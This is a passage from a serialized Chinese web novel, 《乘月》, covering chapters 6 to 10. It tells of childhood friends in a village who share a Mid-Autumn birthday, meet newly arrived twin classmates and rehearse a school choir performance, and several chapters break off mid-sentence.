“谁说只有打架才算报仇,又不是都像徐澄月一样蠢。”话落后脑勺挨了一下,“嘶徐澄月你要在这开战是吧?” 徐澄月瞪他,“闭嘴,我倒要看看你怎么给阿敛出气。” “等着瞧。” 江韫北让相熟的同学出面,两个班级各组了一支队,要打一场友谊赛。正规比赛时长是90分钟,江韫北提议缩短半个小时,连着放学的时间,可以打完,对方无异议 6. 第6章 《乘月》全本免费阅读 软磨硬泡好几天,徐澄月甩不掉江韫北这个粘人精,只好答应教他。 俗话说学一门新语言,最先学会的一定脏话,江韫北也不例外,她教了几个简单的词,他学得像模像样,就是音调听起来怪怪的。 “小(疯子)!生莫(长得丑)!过生莫(丑死啦)!脑莫(脑子有问题)!白仁(白痴)!”江韫北愤慨激昂地重复几遍,问她对不对。 徐澄月点头,“但总觉得奇怪,语调有点变形,就像,就像上次你屁股被陈阿婆家的小猪压得变形一样。” 江韫北皱眉,什么破形容,语文读猪肚子里去了!还有,那么糗的画面,为什么她还记得,记得就算了,还知道给压变形了,她看过吗就这样说?真是的,姑娘家家一点都不害臊。 但有求于人,他不敢发作,只能默默在心里记一笔继续学。把这几个学得差不多,她却不愿意教了。 “为什么,肯定还有!”中国文化博大精深,朝城方言肯定也占了不少。 “那些太脏,不要学。” “刘宪骂的那些?” “对。” “那不行,我要学,要不然下次吵输了,你不教我找别人教去。” 徐澄月拉住他,好言相劝:“不要学,学坏了怎么办?” 江韫北耍赖,“那也有你的功劳。” 徐澄月发飙,“不准学!江韫北你要敢学我就告诉江叔江姨。”也没兴趣再教他,拿了书包回家,跨出门槛又回头大声警告:“不准学!” 江韫北暗骂她是告状精,“切,不准学就不准学,凶死了,凶月亮。” 朝城的方言不好学,江韫北在外地长大,虽然父母在家有时也讲方言,但他接触的环境大多是普通话和粤语,方言能力仅限于和阿爷日常交流。不过好在阿爷年轻时当过老师,不用方言也能和他沟通,只有被他惹急了,才用方言骂他。 好不容易学的几句,怕忘,他特地买了个随身听,把徐澄月教的录下来。早晨洗漱,放在一旁开始听,舌头在牙膏唾沫中打转,但总觉得像打结似的,怎么也说不出那个语调。 洗漱好,开嗓嚎几句,被阿爷拿包子堵住,“一大早的,邻居以为吵什么呢。你小子,不挑点好的学,尽学些不正经的。” 江韫北大咬一口包子,不满道:“你老头子,怎么就不能是徐澄月专门教我说的?” 阿爷觑他,一副看傻子的表情,“澄澄多乖,从来不讲这些粗话。” “那倒是,她动手不动口。” “你可得多看着澄澄,不能让别人把她欺负去。” “还有人能欺负得了她?她个女霸王,月亮霸王!” “行了,别贫,放学早点回来,明天就是中秋,下午带你们去集市,你看看喜欢吃什么,明天给你准备。” “还是我阿爷心疼我,那顺便去给女霸王买生日礼物。对了,她喜欢什么?” 中秋是徐澄月生日,岳清卓提前和他说过,并将他们三人的传统告知他。 阿爷思索几分钟,认真说:“澄澄挺喜欢吃的。” 江韫北一口还没咽下去的豆浆,喷在阿爷刚洗好的盘子上。 第二天放学,出远门半月的徐爸等在校门口,徐澄月瞧见,激动地丢下单车,朝父亲奔去。 “嘿!车都不要了!”江韫北只得停下,帮她扶起单车。 另一边徐澄月跳到父亲身上,不顾周围同学的打量,对着父亲撒娇:“老爸,你这趟走了好久,我好想你。” 徐爸回抱女儿,将她放下,“这不加班加点赶回来陪你过生日了,澄澄原谅爸爸啊。” 捕捉到父亲无意的话,徐澄月突变严肃,“生日过不过都可以,开车一定要注意安全。” “我记得,没忘!” 徐澄月这才重新笑出来。 方之敛三人也上前来同徐爸打招呼。 徐爸来接女儿是想带她去市里订生日蛋糕,和朋友借了辆轿车开,打算让他们几个一道去,三人却以要陪阿爷去赶集婉拒了。 “成,那你们要吃什么,我给你们带回来。” 三人也没客气,各自报上想吃的食物。 单车骑不回,徐澄月原想晚点过来取,江韫北大手一挥,让她安心去,他有办法给她整回去。 目送父女俩离开,江韫北跨坐上车,一手扶着自己的,一手握住另一辆的车头。起步有些晃,两辆车扭着画8。 方之敛不放心地跟在后面,问他行吗? “可以,太久没干,生疏了。” 岳清卓也担忧:“你别逞能,小心点大车。” “知道知道。” 明天中秋,靠近市集的街道人多,江韫北说走小路,让方之敛在前头带路。就这样,方之敛打头,岳清卓殿后,把江韫北夹在中间,成功将徐澄月的车护送回家。 阿爷戴着草编帽在门前那片鸡蛋果旁乘凉,小竹桌上放着一盘切好的西瓜,四碗常温绿豆沙。听见打铃声,他起身往外去迎几个孩子。 “回来啦。”阿爷一个个接过他们的书包,没瞧见徐澄月。 江韫北一口西瓜一口绿豆沙,“被徐叔接走订生日蛋糕去了。” 阿爷端起其中一碗,“那我给她放冰箱里去,她爱吃冰绿豆沙。” 三人吃完,便跟着阿爷一块去赶集。 云水村的大集跟着农历几个大节,春节、端午、中秋。小摊从集市里头摆到外面街上,一个挨着一个,高声吆喝招揽顾客,装袋、打称、抹零头,一套动作行云流水,客人来一波又一波,老板的嗓子喊冒烟,招呼着续上新鲜的货件。 明黄的柚子堆成小山,刀划开薄皮,柚香满街;圆滚滚的橙子从蓝色的框中滚出来,调皮地跳到路人的脚上;为证明新鲜可以放心入肚的鱼虾,在水缸中生龙活虎游着;鸡鸭鹅光溜溜躺在砧板上,老板推荐着怎样烹饪能尝得最鲜美…… 江韫北第一次见这种大场面,脚步一时迈不开。岳清卓被人群拱到前面,艰难停下来吼他跟上,他才回过神来。 按俗中秋要祭神,阿爷买完祭拜用品,开始给他们买要吃的食物。 江韫北来者不拒,问什么要什么,大有把整个市集买下的豪横。两个小时的采买,四人手中挂满袋子,好不容易挤出去,满头大汗。 想起还没给徐澄月买生日礼物,他把东西分给方之敛和岳清卓,准备再溜达一圈。 方之敛和岳清卓早早就准备好了,这是江韫北还没回来之前,他们三人之间心照不宣的默契。 想起这人之前送礼物的情形,方之敛不放心地叮嘱:“这次好好送,话少说点。” 江韫北摆摆手,嫌他瞎操心。 以往在城里上学,几个处得比较好的朋友生日,江韫北也会送送礼物,不过都是男生,爱好又相似,没怎么花心思。这回把市集和几家店逛了一圈,没找到合适的,倒是把肚子逛饿了。 他买了一小袋炸虾丸垫肚子,站在琳琅满目的小摊前,忽而想起昨天阿爷说的,灵光一闪,知道给月亮霸王买什么了。 - 徐爸接完女儿,父女俩一块去县医院接下班的徐妈,一家三口再去市里订蛋糕。往年都是在镇上面包店订的,样式普通,面包胚涂上厚奶油,外圈画上几条五颜六色的线和一只不太像羊的羊。 去年岳清卓过生日,常年在外工作的岳冬难得赶上女儿生日,为作补偿,特地买了个精致的蛋糕,徐澄月对上面那只立体可爱的羊和入口即化的奶油念念不忘,徐爸大手一挥,满足女儿的心愿。 得知安排的徐澄月激动地跳起来,脑袋砸到车顶,被母亲笑话。 “真的订清卓那个吗?” 徐爸比女儿还高兴:“这还能有假?” 徐妈也附和:“我看过他们的配料表,用料很健康,吃着也放心。” 7. 第7章 《乘月》全本免费阅读 朝城的习俗,中秋要祭祖。 大人们从早上就忙个不停。要准备祭祖的荤素菜,数纸钱,搭八仙桌,阿爷忙里忙外,偏生身边跟着个没见过世面的江韫北,看见什么新奇的都要问一嘴,阿爷被他扰得不胜其烦。 “你个小屁孩,要知道那么多做什么?” 江韫北大言不惭:“我将来要继承你衣钵的,这不得先学着?” 在江家忙活的阿叔阿婶们闻言哈哈大笑。 阿爷拿漏勺敲他脑袋,“你个混小子,大好日子说什么话。” “你这老头,不知道什么叫将来时吗?” “去去去,”阿爷推搡他,“找阿敛踢球去。” 提起方之敛,江韫北才想起来他们今天约了人踢球,一激动差点给忘了。急忙上楼换球衣,夹着球跑出门。 阿爷在后头喊:“别踢太晚,要回来上香。” 江韫北远远回他:“知道了——” 阿爷背着手摇头,琢磨他这火急火燎的性子,也不知随谁。邻居们笑话,可不就随你吗,年轻那会也是个急性子。 一群人又七嘴八舌的:“小北回来陪你,可不得热闹些。” 阿爷笑骂:“闹腾着呢一天天的。” 和方之敛约的是学校的同学,都是对足球狂热的,一上场就踢得忘乎所以。中场休息,有人突然来了兴致,问有没有想走特长生,考体校,以后做职业选手。 提问立时得到回复,好几个人都志气蓬勃地说想,甚至把朝城有的几所体校都列出来,都做过功课,分析各所学校的优劣,只有江韫北和方之敛没出声,而两人又是一群人中踢得不错的。 喜爱竞技运动的,身上总会蓬发外扬的气势,性格也多好强,竞技心重,而方之敛却是少有的温和有节,内敛含蓄,场上不爱冒头,总是做好最稳健的后方。自知性格如此的方之敛,清楚自己不适合走职业道路,也没想过,“只是当作强身健体的运动,不会考体校。” “老江呢?” 江韫北丢掉嘴里叼的狗尾巴草,笑:“什么老江,老江是我家老头。我啊,不知道,现在就是踢得有趣,等哪天我对别的感兴趣了,说不定就玩别的不踢了。谁知道呢,以后的事以后再说,现在,就是踢。” 关于未来的话题暂被抛至脑后,一群人又回到场上酣畅一场。都得了家里吩咐,这半场踢完就散了。 江韫北和方之敛骑车回去,迎面吹来的风把两人身上的味道吹散。 江韫北拎起闻闻,皱紧眉,又生出坏主意:“我这一身要是熏到徐澄月,得被她揍死。” 方之敛叫他别老故意招惹人,也觉得奇怪,徐澄月性子虽有些急,但对待朋友是掏心掏肺的好,新认识的朋友她也是极尽热情,想不明白怎么到了江韫北这,就像对上上辈子仇人。 “好啊徐澄月,区别对待是吧。”这一想想也确实,认识到现在一个月了,每天见面不是吵就是干架,没一天安生。对方之敛和他姐,脾气倒是好。 方之敛笑了笑,拍拍他的肩,“你让着点澄澄。对了,给她买什么礼物了?” 江韫北故作神秘,“晚上就知道了,这回我可是和阿爷取经了,她要再嫌弃就是她故意找茬儿。” 晚上的团圆饭几家人聚在一块吃,晚饭后要拜月娘,家家户户把八仙桌摆在巷子里,桌上摆好纸钱和贡品,柚子和酥油粿是必不可少的,时间一到,大人们逐一上香。祭拜完,爸爸们的茶桌也摆上了。人多,徐爸和江爸各自开了一桌,两个茶盘,六个茶杯,有邻居路过,便邀他暂歇脚步,喝一杯茶,吃个油粿。 祭拜的活计告一段落,便到另一场重头戏。 徐爸拿出下午取回来的蛋糕,徐妈摆上水果零食,阿爷把徐澄月推到主位,交好的长辈凑过来给她道贺,伙伴们捧出礼物,互相猜测准备的是什么。生日赶上中秋,徐澄月每年都过得热闹。今年尤其,多了个把戏不少的江韫北。 像春晚热场子的主持人,一会唱生日歌,一会起哄着让每个人说个带“yue”的词给徐澄月祝生日,一张嘴没停过,比徐澄月这个寿星还要忙。好在江妈及时把人拉下来,提早结束了热场环节。 徐澄月望着按照自己描述做出来的蛋糕,白色的月亮里住了只有棱有角的小羊,点燃的蜡烛是发光的星星,再看看周围满面笑意望着自己的父母和大人,难得羞涩,闭眼快速许个愿就吹灭了蜡烛。 生日最激动的时刻是切蛋糕的第一刀和收礼物的时候,徐澄月被妈妈把着手,将蛋糕切成一块块分出去,小羊和月亮留给自己。大人的礼物多是红包和生活起居用品,徐澄月期待来自朋友们的礼物。 岳清卓最懂她,买下那套她最近在追的漫画。方之敛送的是一对木雕,手工雕刻的羊仔,双手捧着一个月亮,一只是摆饰,一只是挂饰。徐澄月立马拆封,挂上书包。江韫北,徐澄月左右没看到人,对方大概没准备,毕竟他们认识不久,她并不在意,兴奋地和岳清卓说晚上要把漫画看完。 正说着,腰后被什么尖角杵了杵,徐澄月转过身去,一瞬惊住。 江韫北身前背着个以前卖香烟的街头小贩用的樟木箱子,原本装的是各式香烟,现在平放的一面,用木板隔成一块一块,大小相仿,每一格里都放着不一样的吃食,有他们常吃的小吃,油索、绿豆饼、炉窗土炭(梅花酥)、花生酥、已经包好的糖葱薄饼、阿爷做的酥油粿、小碗装着的红糖草粿,还有些格子空着,但有写着食物名字的贴纸。垂直的那一面,带子夹着各种饮料。 一份非常别出心裁的礼物。 收到他的礼物,徐澄月是诧异的,这么用心准备,她更意外,原以为照他小肚鸡肠的性子,会直接不送,或者恶作剧,看来还是她小人之心了。正想道谢,抬眸又瞧见他额间的乌龟,咽回去,憋着笑。回屋拿来阿爷的贝雷帽给他戴上,捧腹大笑:“江韫北,你把谁摊子劫了?” 而在等她感激涕零和他道谢的江韫北,却被她的反应打得措手不及,羞恼加不满,他气急败坏,“徐澄月你说什么呢!是我 8. 第8章 《乘月》全本免费阅读 学校元旦的文艺汇演,毕业班分到大合唱项目,因升学取消的音乐课,这学期又被还回来。 毕业前最后一次集体活动,大家表现得格外积极。徐澄月这个挂名的文艺委员终于派上用场,定曲目、鼓励同学报领唱、组织练习,忙得团团转。可惜,直到第二次上音乐课,还没有人报名。 这个年龄的人,好像都有一种道不明的羞涩和别扭,一面渴望获得关注,一面却不敢在人前表现,出风头获得瞩目的个人活动避之不及。徐澄月游说一圈没人愿意,将主意打到好友上。 “你自己为什么不去,还是文艺委员呢?”江韫北逃离她火热的眼神,嘴上不忘挖苦她。 徐澄月也想自己顶上,省得浪费口舌,可她担心自己一开口,不仅拉低班级整体评分,还可能让评委老师遭受身体和心理双重折磨。 深知徐澄月歌喉的岳清卓和方之敛,忍不住笑,使坏道:“下次让你感受一下澄澄的唱功。” 江韫北双眼一亮。 “别期待,你不会爱。”看热闹不嫌事大,徐澄月斜他一眼,差点被他们带跑偏,她继续道:“为朋友两肋插刀的时候到了。” 江韫北:“□□两刀?” 徐澄月一巴掌呼上他脑门。 方之敛摸摸鼻子,有些为难:“主要是我和清卓虽然唱歌不跑调,但唱得也不好听。” “是。”岳清卓附和,“和你半斤八两。” “那……”徐澄月将视线移向江韫北,“江韫北,你试试?” 江韫北一副你终于想到我的神情,立起领子,“你怎么知道我以前参加过歌唱比赛?” 徐澄月不在意,立马摁住他的手让他签名,敷衍道:“江韫北,你真厉害,我们班的荣誉交给你了!” “徐澄月,你这夸人也夸得太随便了吧。”江韫北抽回手,抱胸看她,“好好夸,夸高兴了我再报名。” 小人得志的嘴脸真是丑陋,徐澄月想尽所有赞美词,把他夸得天上有地下无,才哄着人签下名字。搞定后,她去给老师送名单,顺便商量下一次除音乐课外的排练时间。 办公室没找着人,路过音乐室,里面传来丝滑钢琴声,弹奏的正好是他们班的表演曲目,以为是老师,徐澄月推门进去。 专心弹奏的人被打断,抬头,与她四目相对。徐澄月惊呼,一个名字不过脑而出:“樱桃小丸子?!” 男生站起,皱眉指着自己:“我?樱桃小丸子?” 反应过来自己的不礼貌,徐澄月连忙道歉,不知道该不该解释那天在商场单方面遇到他的事。 “没关系,你来找李老师?”李老师是他们的音乐老师。 “对。” “她去上洗手间了,过会就来,你等一等吧。” “好。”徐澄月选了个远一点的位置坐下,男生似乎不在意她在场,径自继续刚刚被打断的曲子。 他们的音乐老师是专业音乐学院毕业的,每次上课给他们弹琴,都能让嘈杂的教室安静下来,投入音乐。而眼前这个人,年纪和他们相仿,弹出的琴音却有老师那样的效力,让徐澄月沉浸其中,连老师回来都没发现。 交完表格,确定好时间,钢琴声还未停,徐澄月恋恋不舍地躲在门口,等男生弹完一曲才离开。回到教室才反应过来,那个人怎么会出现在这,他们年级从来没这个人。 教室里一片哄闹,同学经过嚷嚷着说,班里又来新同学了。徐澄月顺着他们的视线望过去,被谈论的新同学周围,此刻聚满了人。 好奇心作祟,徐澄月挤进去,看清新同学的脸,目瞪口呆:“怎么又是你?” 他难道会分身术不成?五分钟前还在音乐教室,怎么现在就到了她班里? “又是?我们见过吗?”男生笑起来,露出两颗小虎牙,俏皮中透着点憨实。 不一样。和在音乐教室给人的感觉不一样,他很有礼貌,但缺少眼前这个人的生动。就像一株同品种的花,一枝开在路边,行人路过都能朝他笑一笑,一枝被修剪整齐,插在不菲的花瓶里,开得很美,但缺少让人靠近的亲近。 徐澄月第一次察觉到自己这么敏锐的感知力,“应该没有。” 男生反应过来,“是我哥吧,弹钢琴那个?” 是了,同一个模子刻出来的,只能是亲生兄弟。 男生热情地同她自我介绍:“我叫俞麟,弹钢琴那个是我哥,叫俞麒,我们是双胞胎。” “鱼鳍鱼鳞?”吃货徐澄月想到裹着面粉在热油里炸得酥脆的罗非鱼的鱼鳍鱼鳞。 俞麟从她表情里读懂她的疑惑,翻开书,露出刚写上的名字:“是这个麒麟。” 满脑子只有吃的徐澄月不好意思,“你们长得一模一样。”尤其是不说话时,几乎认不出来。 俞麟笑嘻嘻的:“大家都这么说。对了,你叫什么?” “徐澄月。” “你好啊,我和我哥刚转学过来,他也在这个班,等会介绍你们认识。” 铃声打响,这节是班主任的课,先介绍了两位新同学。一对长相酷似男版樱桃小丸子的双胞胎兄弟,惹得全班骚动。 俞麟的自我介绍和当初的江韫北有些像,都是自来熟的主,相比之下,俞麒的简短很多,只说了名字,同学还在等后续,他兀自停了。 正准备捧场的江韫北放下手,和方之敛嘀咕:“这俩兄弟性格差别真大。” 老师没再多说,让两人下台,江韫北瞥到俞麟热情地朝徐澄月打招呼,好奇地踢踢前面的椅子,“这么快就熟了?” 徐澄月也热情地回应完他,扭头和江韫北说:“俞麟好可爱。”笑起来更像樱桃小丸子! 江韫北扯她辫子:“嗤——花痴!” 放学回家,妈妈难得早下班,在天井杀鱼。大水缸里巴掌大的罗非鱼游窜得正开心,还不知道同伴在水缸外遭受怎样的酷刑。 徐澄月眼睛一亮,亲亲热热地搂住妈妈的脖子,撒娇:“妈妈,你怎么知道我想吃罗非鱼了?” 徐妈十分实诚:“妈妈不知道呀,这是江阿爷给的,他钓了一天呢。” “阿爷真厉害,妈妈,我想吃炸的,用面粉裹着炸。” “知道,先去写作业,好了妈妈叫你。” 因着美食诱惑,徐澄月老老实实写完作业,中途没有去玩木头。闻到飘进房间的油炸香,她三步并作两步,冲向厨房,守在灶炉边,深吸一口香气,舔舔发干的嘴唇,巴巴望着炸得金脆油光的鱼,暗示:“太香了,它们在诱惑我。” 徐妈被她小馋猫样儿逗笑,开大点火,又炸了一会,捞出一个给她,“来,先解个馋。” 油炸罗非鱼实在香,徐澄月一面大口吹气,一面用门牙去咬边上的鱼鳍,被烫得龇牙咧嘴。好不容易吹凉了,咬下一大口,撕下鱼肚子喂妈妈,想起转学来的俞麒俞麟,一道和妈妈分享。 徐妈挑眉:“不会是早上咱们隔壁搬回来的那家吧?” 是多年不见熟识的邻居,姓俞,父辈原本也同住一巷,后来俞老的儿子在外工作定居,将老人接过去,已经很多年没回来了。今早出门,徐妈瞧见隔壁尘封已久的房子搬进人,江阿爷在招呼,她赶着上班,还未问候邻居。正好鱼炸好了,她差使女儿给他们送一盘。 想去验证妈妈说的,徐澄月洗干净手,端起盘子送过去。 这里的房子,白天从不关门,邻居串门就在外头喊一声,也不必等主人应答,乐呵乐呵就进门了。徐澄月喊了一声,没人应,抬脚进去,里头也没人,只散乱着家具和行李箱。她从行李箱的缝隙走进去,放下发烫的盘子,正想再喊一声,男孩拿着抹布从房间出来。 虽是做了心理准备,瞧见来人,徐澄月还是一惊,开心地打招呼,但对方很 9. 第9章 《乘月》全本免费阅读 井水冲洗过的天井,凉意从脚底升起。西斜的太阳光影落到屋檐瓦片上,亭角上一只路过的白鸽站立,观看檐下的热闹。 天井里摆开一张大桌子,阿爷坐在主位,正给钟屏介绍席中的人。他饭前过来串门,得知徐妈邀请俞家母子来吃饭,大腿一拍,干脆把做好的菜搬过来一起吃,凑个热闹。 只剩方家两人没来,阿爷问方之敛:你爸妈是不是又值班去了? 方之敛点头,“我爸还没下班,我妈值夜班。”和徐妈一样,方家夫妻也在镇上的医院任职,忙碌成了习惯,来不及料理一日三餐,便将方之敛托付给几家交好的邻居。 “那我给他打电话,下班过来吃饭。” 大人聊得畅快,小孩分拨热闹。 江韫北盯着对面饭堵不住嘴的两人,疑惑地琢磨:“这俩怎么就这么熟了?” 方之敛早已习惯:“澄澄性格好,对谁都很热情真诚。” “性格好?”江韫北仿佛听到大笑话,却瞥见徐澄月把最后一个炸鸡腿夹进俞麟碗里,气愤道:“她可没对我这么好过!” 方之敛忍俊不禁:“她好像,确实只对你那样。” 江韫北露出“看吧,我就说”的神情,她的亲表姐却不表示关怀,剔着鱼刺戳他的痛点:“谁让你欠。” “谁欠了!”江韫北搁下筷子要和她理论,被方之敛按住。 方之敛拐个弯提醒他:“你看俞麟,和澄澄挺聊得来,澄澄说什么,他都很捧场。”余光瞥到岳清卓碗里的鱼,“清卓,这块有刺。”顺手将鱼刺挑出来。 岳清卓讶异:“阿敛,你眼神真好。” 这端江韫北还在喋喋不休:“这有什么,狗腿子。” 方之敛稍顿,再次提点:“俞麟性格挺好,和澄澄很像,能聊到一块去,不会故意挑刺和她拌嘴。” 江韫北听不进去,嗤之以鼻,满脑子只有一个词:“狗腿子。” 方之敛无奈,带不动,想说得再直白些,话到嘴边变成火急火燎的关切:“清卓,这菜里有花生,会过敏的。” 岳清卓撤回手,后怕:“藏得太隐蔽,我看岔眼了。” 方之敛叹气,一顿饭,光顾着江家两位祖宗了。 六个人,分三派,各有各的热闹,有一处却安静得很。俞麒像群居动物中不合群的一只,游离在他们周边,安静吃饭,偶尔提醒弟弟吃蔬菜,除此之外没开过口。 “俞麒,”方之敛主动示好,给他添饮料,“吃得惯吗?”从大人的谈论中他听到一些,他们原先生活在川渝一带,口味偏重,相比之下,朝城的饮食清淡许多。 俞麒放下碗,礼貌应答:“很好吃。” 一直没找着机会和俞麒搭话的徐澄月接话道:“我妈妈做饭在几家里是最好吃的!” 吃过无数次的江、岳、方三人点头:“有大节日,我们都会在徐姨家吃。” 徐澄月顺势继续说:“俞麒,你吃饱了吗,还要吃罗非鱼吗,厨房里还有,我去给你拿?” 听到这,江韫北不乐意了:“徐澄月,那是徐姨留给我们一人一盘。” “妈妈留了很多,够你吃,小气鬼。” “就小气,你能拿我怎么着?” 徐澄月开始捋袖子,江韫北拿手准备抵挡。一言不合又要闹起来,方之敛和岳清卓连忙一人拉住一个。 方之敛稳住场面:“别闹,阿爷说了,饭桌不能吵。” 徐澄月懒得搭理他,起身准备去厨房拿鱼,被俞麒拦下,说吃饱了。徐澄月又邀他去逛逛村里,看日落,如果遇上陈阿婆,还可以玩一玩最近长胖几斤的小猪。 这熟悉的云水村一游路线,江韫北哼一声,嘲笑她没有半点新意。可对方拒绝,江韫北又微恼,想这还是他来那会,以屁股受三次伤为代价换来的。正想开腔帮徐澄月说话,被徐妈打断,让他们摘一些鸡蛋果,她给他们做些饭后消食饮料。 俞麒安坐不动,俞麟自告奋勇。 相比不合群的俞麒,俞麟明显受欢迎多了,江韫北觑一眼俞麒,暗暗“嗤”一声,朝俞麟扬扬下巴,让他跟上。 低处成熟的鸡蛋果被摘光,高处要踩梯子上去才能摘到。有了上次的教训,涉及爬上爬下的事,江韫北不敢让徐澄月参与,恐她一个不小心,他又要毁容。是了,上回眼角受伤,留下一道月牙似的疤,徐澄月心有愧疚,一直说那道疤与他的脸很衬,他才不信她的鬼话。 “为什么不让澄澄上去?”俞麟瞧着跃跃欲试却被江韫北阻拦暗生闷气的徐澄月,替她抱不平。 江韫北从梯子上往下望,让岳清卓按好徐澄月,又看向俞麟,“你想屁股开花就让她上来。” 徐澄月涨红脸,方之敛和岳清卓憋笑,俞麟看着伙伴们的反应,不知所以。而上头动作矫健摘鸡蛋果的人沾沾自喜,瞧,后来者就是后来者,什么都不懂。他情绪高涨,一颗接一颗摘,用衣服卷住,让徐澄月拿篮子来接。 成熟的鸡蛋果,微酸,但很甜,徐妈用雪碧、蜂蜜,给他们做了果茶。 饭后大人们到巷子里喝茶乘凉,他们几个在屋内做作业。往常最先完成的是方之敛,之后他会辅导他们三,今天多了个俞麒。 江韫北不可思议地看他收拾书包,他到这上学后,岳清卓和徐澄月给他讲过方之敛的辉煌历史,从一年级到现在,一路遥遥领先,稳坐年级第一,出去比赛也基本能摘得冠亚荣誉,在他的朋友里,属顶聪明的。 他偷偷拉俞麟袖子,打探俞麒的情况。 俞麒骄傲地抬起胸膛,吹捧哥哥他可在行:“我哥成绩可好了,在以前学校一直是第一,参加各种比赛也是第一,还会弹钢琴,钢琴比赛也能拿奖,我爸说,我哥以后可是考清华北大的。” 江韫北扯过方之敛,“有什么了不起,我们也有个第一。” 俞麒懒懒地抬眼,对上方之敛。后者有些羞赧,摸摸后脑勺,友善道:“以后一起学。” 俞麒点头,开始收拾弟弟鸡窝一样的书包。 徐澄月凑过去和岳清卓低语:“那我们不是被两个学霸包围了?压力有点大。” 岳清卓安慰:“往好处想,有两个免费家教。” 徐澄月:“不对,还有俞麟呢。”理所当然地以为双胞胎相貌一样,智力也应该差不多。 书桌安静下去,俞麒的动作一顿,俞麟脸浮上红。 江韫北杵杵俞麟的胳膊,“你呢?” 俞麟学起大人模样,摇头,叹气,但躲避的眼神透露他对哥哥的畏惧,用气音道:“倒数第一。” 徐&江&岳&方:“啊?” 俞麟不觉得丢脸,理直气壮道:“我爸说了,兄弟之间,智力不一样很正常,而且家里有一个能考清华北大就好了。但我运动好,跑步很快,以后可以当运动员。” 俞麒精准补刀:“也没有哪所学校愿意要文化课倒数第一的体育生。” 俞麟垮下脸。 俞麒:“赶紧写,我先回去收拾房间,等会来检查。” “好。”俞麟乖乖听话,等瞧不见俞麒了,才大松口气。 江韫北在 10. 第10章 《乘月》全本免费阅读 合唱进行得很顺利。徐澄月打听到,其他班的配置都是领唱加合唱团,只有他们班有现场钢琴伴奏,信心爆棚,深信能赢。 江韫北日常打击她:“那你到时开口记得小声点,别吓到评委老师。” 唱功不好这件事在一次排练课上暴露,徐澄月进错拍子,麦克风离她不远,于是像山谷山峰一样起伏的歌喉展露人前。全班先是安静如鸦,随后爆发大笑,连时常冷淡的俞麒都罕见地笑了。 徐澄月抄起椅子追杀他,江韫北拉着这个那个当人形挡箭牌,岳清卓和方之敛对他们日常大战早已见怪不怪,拦不住,俞麟则为徐澄月呐喊助威,顺便时不时伸腿伸手设些阻碍,惹来江韫北大骂“你个狗腿子”。 俞麟十分骄傲:“我就是。” 大战最后依然是徐澄月获胜,江韫北捏着被拧痛的胳膊,和伙伴哭诉,岳清卓一向偏心自家姐妹,骂了句活该。方之敛稍有温情,帮他捏了捏胳膊,如果没有开口,江韫北就差一把鼻涕一把泪感谢兄弟了。 方之敛:“怎么到现在还没打过呢?” 就这么打打闹闹来到元旦,文艺汇演在周五,可以邀请父母来观看。可六个人,凑不出一对完整父母,只派了俞妈和阿爷做代表。 阿爷惦记着孩子们唱歌会口干舌燥,熬了一大锅车前草水,清热解毒还解渴,用大保温壶装一壶。 旁边坐着的同是学生家长,阿爷热情地打招呼,就着孩子话家长里短,等徐澄月几人上台了,他激动地和人介绍一圈,“上面那几个孩子,我家的!站在前头领唱的男孩,旁边弹钢琴的男孩,最中间麦克风对着的女孩,旁边高一点的女孩,还有后面站一起俩男孩,都是我们家的!” 旁人惊讶:“你们家这么多孩子呢?” 阿爷谦虚摆摆手,“一条巷的,但他们都叫我阿爷。” 炫耀完,阿爷拿出专程买的加油小道具,递一个给俞妈,用力拍打起来。 台上几人感受到阿爷的热情,更加卖力。 四分钟的合唱结束,班级回到原位。几人溜到后头家属区,叽叽喳喳和两位大人分享感受,丝毫不在意自己的父母有没有来。习惯了,不是在外做生意、跑货,就是医护人群,都不是时间自由的主儿,再说有阿爷这个强大的后援团,比什么都给劲。 班主任还在盯着,他们不敢太放肆,喝过水就回去了。 等待表演的忐忑心情已然消失,后头的表演越看越觉无味。江韫北拿纸笔和方之敛玩了几局五子棋打发时间,次次落败也让他失了兴致。问他要不要偷溜去踢球,反正他们坐中间,老师瞧不见。 方之敛拒绝了,他并非循规蹈矩的学生,偶尔也有反叛时刻,只是外面这么冷,清卓和澄澄肯定不愿意一起。 “她们?”江韫北捧住他的脸朝前,“瞧瞧,徐澄月都不知道跑哪去了。” 两个女孩坐一块,此刻只剩岳清卓。 那就更不去了。方之敛还是拒绝。 “啧,真没趣!” 坐不住,江韫北想去怂恿俞麟,转念想起他被俞麒那尊大佛看着,顿时没了兴趣。 不知为什么,他对俞麒没什么好感,虽然叔叔阿姨都称赞他懂事,老师表扬他的成绩和稳重,但他总觉得他装,就像徐澄月她们爱看的漫画里,受众多女孩追捧的冷面学霸。认识这么久,他对他们始终淡淡的,团体活动他也极少参加,可就算这样,徐澄月还是上赶着和他交好,令人费解。 懒得去琢磨不正常的人,他猫着腰,溜出礼堂,回教室拿足球去足球场,踢没多久就看到不远处,躲在木板下的徐澄月。 木板是最近学校装修拆卸下来的,集中放在操场这边,徐澄月挨着的那块,正好架在堆高的木板上,构成一个三角形。 江韫北悄咪咪跑过去,打算吓她,从缝隙里瞄见她手里拿着刻刀,放轻脚步,敲敲木板,待她反应,才问:“徐澄月,你躲这干嘛呢?” 也不知怎的,对朋友脾气向来好的徐澄月,一碰上他就不好好说话:“你管我。” “嘿。”越不让管越要管,江韫北盘腿挤进去,非要瞧个明白。 徐澄月推搡他,大喊:“江韫北,再挤木板要掉了。” 江韫北这才停住动作,没再往里挤,“干嘛不去教室里弄?” 徐澄月吹掉木屑,沿着刻痕继续刻,“已经被老师收掉一块了,再被发现要喊家长了。”上周上自习课,她在底下玩木头,被抓个现行,得来上缴木头和口头警告惩罚。 “丁爷爷让你拿刀了?” “他说等我上初一,我先练个手。” “怎么样,哥送的刻刀好用吧?” “勉强吧。” 难得见她全神贯注干一件事,江韫北看了一会,才问出一直想问的问题:“徐澄月,你为什么那么喜欢木头?” 这个年纪的女孩,不是应该喜欢洋娃娃、布偶之类精致可爱的东西吗?可他爸从北京寄回来的洋娃娃,她玩了几次就收起放在橱柜里,反而对这些笨重丑丑的木头情有独钟。 “木头很有趣啊。” 四四方方,板板正正,颜色很土,江韫北找不出它们有趣的点。 “丁爷爷说,木雕,是树给手艺人的二次生命。” 有些深奥,江韫北这个语文呆子不太能理解,“你懂什么意思吗?” “知道啊!”徐澄月放下木头,做出奥特曼变身后准备起飞的动作,“我们要成为厉害的木雕师!” “厉害啊徐澄月,这么快就有梦想了。”江韫北欣慰地拍拍她的发顶,“那你第一件作品得给我,万一你成名了,可值好多钱。” 徐澄月拍掉他的手,不屑地睨他,引用丁爷爷的话:“俗气!” 